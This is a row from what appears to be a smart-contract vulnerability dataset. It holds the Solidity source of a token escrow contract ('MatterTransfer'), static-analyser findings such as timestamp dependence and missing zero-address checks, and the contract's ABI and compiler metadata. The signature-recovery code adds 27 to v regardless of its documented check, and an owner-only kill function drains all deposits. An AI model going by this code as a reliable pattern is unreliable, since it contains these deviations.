contract_name
stringlengths
1
100
contract_address
stringlengths
42
42
language
stringclasses
2 values
source_code
stringlengths
0
1.24M
solidetector
stringlengths
2
3.89k
slither
stringlengths
2
4.49M
oyente
stringlengths
2
10.8k
smartcheck
stringlengths
2
78.6k
abi
stringlengths
2
59.6k
compiler_version
stringlengths
11
42
optimization_used
bool
2 classes
runs
int64
0
1B
constructor_arguments
stringlengths
0
60.2k
evm_version
stringclasses
8 values
library
stringlengths
0
510
license_type
stringclasses
14 values
proxy
bool
2 classes
implementation
stringlengths
0
42
swarm_source
stringlengths
0
71
MatterTransfer
0xf79b16a0c633e29112605e76539f33b97b127eca
Solidity
pragma solidity >=0.4.24 <0.7.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract PauserRole is Context { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(_msgSender()); } modifier onlyPauser() { require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(_msgSender()); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context, PauserRole { /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. Assigns the Pauser role * to the deployer. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(_msgSender()); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. * * _Since v2.5.0:_ this module is now much more gas efficient, given net gas * metering changes introduced in the Istanbul hardfork. */ contract ReentrancyGuard { bool private _notEntered; constructor () internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * NOTE: This call _does not revert_ if the signature is invalid, or * if the signer is otherwise unable to be retrieved. In those scenarios, * the zero address is returned. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } v = v + 27; if (v != 27 && v != 28) { return address(0); } // If the signature is valid (and not malleable), return the signer address return ecrecover(hash, v, r, s); } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } contract MatterTransfer is Pausable, ReentrancyGuard { using ECDSA for bytes32; using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public mtrToken; uint256 private _totalSupply; uint256 private _totalWithdrawn; address public withdrawSigner; address public denMultiSig; mapping(uint256 => bool) usedNonces; event Deposit(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 nonce, uint256 amount); constructor(address _withdrawSigner, address _mtrToken) public { mtrToken = IERC20(_mtrToken); withdrawSigner = _withdrawSigner; denMultiSig = msg.sender; } modifier onlyDenMultiSig { require(msg.sender == denMultiSig, "not owner"); _; } function totalWithdrawn() public view returns (uint256) { return _totalWithdrawn; } function totalSupply() public view returns (uint256) { return _totalSupply; } function withdraw( uint256 amount, uint256 timestamp, uint256 nonce, bytes memory sig ) public nonReentrant whenNotPaused() { require(!usedNonces[nonce], "duplicate transaction found, start new request from Den"); require(now < timestamp, "withdraw period expired"); require(totalSupply() >= amount, "withdraw request exceeds balance, notify den"); usedNonces[nonce] = true; // this recreates the message that was signed on the client bytes32 message = keccak256(abi.encodePacked(msg.sender, amount, timestamp, nonce, address(this))) .toEthSignedMessageHash(); require(message.recover(sig) == withdrawSigner, "request not signed by den"); _totalSupply = _totalSupply.sub(amount); _totalWithdrawn = _totalWithdrawn.add(amount); mtrToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, nonce, amount); } function setWithdrawSigner(address account) public onlyDenMultiSig { withdrawSigner = account; } function deposit(uint256 amount) public whenNotPaused() { _totalSupply = _totalSupply.add(amount); mtrToken.safeTransferFrom(msg.sender, address(this), amount); emit Deposit(msg.sender, amount); } function kill() public onlyDenMultiSig { pause(); uint256 amount = totalSupply(); _totalSupply = _totalSupply.sub(amount); _totalWithdrawn = _totalWithdrawn.add(amount); mtrToken.safeTransfer(denMultiSig, amount); emit Withdrawn(denMultiSig, 0, amount); } function changeMultiSig(address _denMultiSig) external onlyDenMultiSig { denMultiSig = _denMultiSig; } }
[{"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["722"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"MatterTransfer.sol": [487]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"MatterTransfer.sol": [640, 641, 637, 638, 639]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MatterTransfer.sol": [299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MatterTransfer.sol": [519, 520, 521, 522, 523, 524, 525]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MatterTransfer.sol": [560, 561, 562, 563]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MatterTransfer.sol": [549, 550, 551, 552, 553, 554, 555, 556, 557, 558]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MatterTransfer.sol": [378, 379, 380, 381]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MatterTransfer.sol": [341, 342, 343, 344, 345, 346, 347, 348]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MatterTransfer.sol": [24, 25, 26, 27]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MatterTransfer.sol": [497, 498, 499]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MatterTransfer.sol": [361, 362, 363]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MatterTransfer.sol": [324, 325, 326]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MatterTransfer.sol": [568, 565, 566, 567]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MatterTransfer.sol": [715, 716, 717, 718, 719, 720, 721, 722, 723, 724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MatterTransfer.sol": [88, 86, 87]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MatterTransfer.sol": [742, 743, 744, 745, 746, 747]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MatterTransfer.sol": [749, 750, 751, 752, 753, 754, 755, 756, 757, 758]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MatterTransfer.sol": [738, 739, 740]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MatterTransfer.sol": [707, 708, 709]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MatterTransfer.sol": [90, 91, 92]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MatterTransfer.sol": [169, 170, 171, 172]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MatterTransfer.sol": [138, 139, 140]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MatterTransfer.sol": [1]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MatterTransfer.sol": [588]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MatterTransfer.sol": [523]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"MatterTransfer.sol": [761]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"MatterTransfer.sol": [698]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"MatterTransfer.sol": [761]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"MatterTransfer.sol": [739]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MatterTransfer.sol": [760]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"MatterTransfer.sol": [14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MatterTransfer.sol": [757]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MatterTransfer.sol": [735]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"MatterTransfer.sol": [746]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"MatterTransfer.sol": [722]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 626, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 653, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 658, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 71, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 125, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 195, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 686, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 687, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 538, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 682, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 623, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 480, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 542, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 546, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 557, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 562, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 567, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 588, "severity": 3}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 487, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 637, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 519, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 519, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 519, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 520, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 520, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 520, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 520, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 523, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 523, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 523, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 524, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 691, "severity": 1}]
[{"inputs":[{"internalType":"address","name":"_withdrawSigner","type":"address"},{"internalType":"address","name":"_mtrToken","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"PauserAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"PauserRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Unpaused","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"nonce","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdrawn","type":"event"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addPauser","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_denMultiSig","type":"address"}],"name":"changeMultiSig","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"denMultiSig","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"deposit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isPauser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"kill","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"mtrToken","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renouncePauser","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setWithdrawSigner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalWithdrawn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"timestamp","type":"uint256"},{"internalType":"uint256","name":"nonce","type":"uint256"},{"internalType":"bytes","name":"sig","type":"bytes"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"withdrawSigner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"}]
v0.5.12+commit.7709ece9
true
9,999
000000000000000000000000e346699cf27e7fd6d9faca1f878319a39bd40940000000000000000000000000aa6c7d24d03769370e1c31f7c4edf3ebe10b7cf7
Default
false
RFSETHSharePool
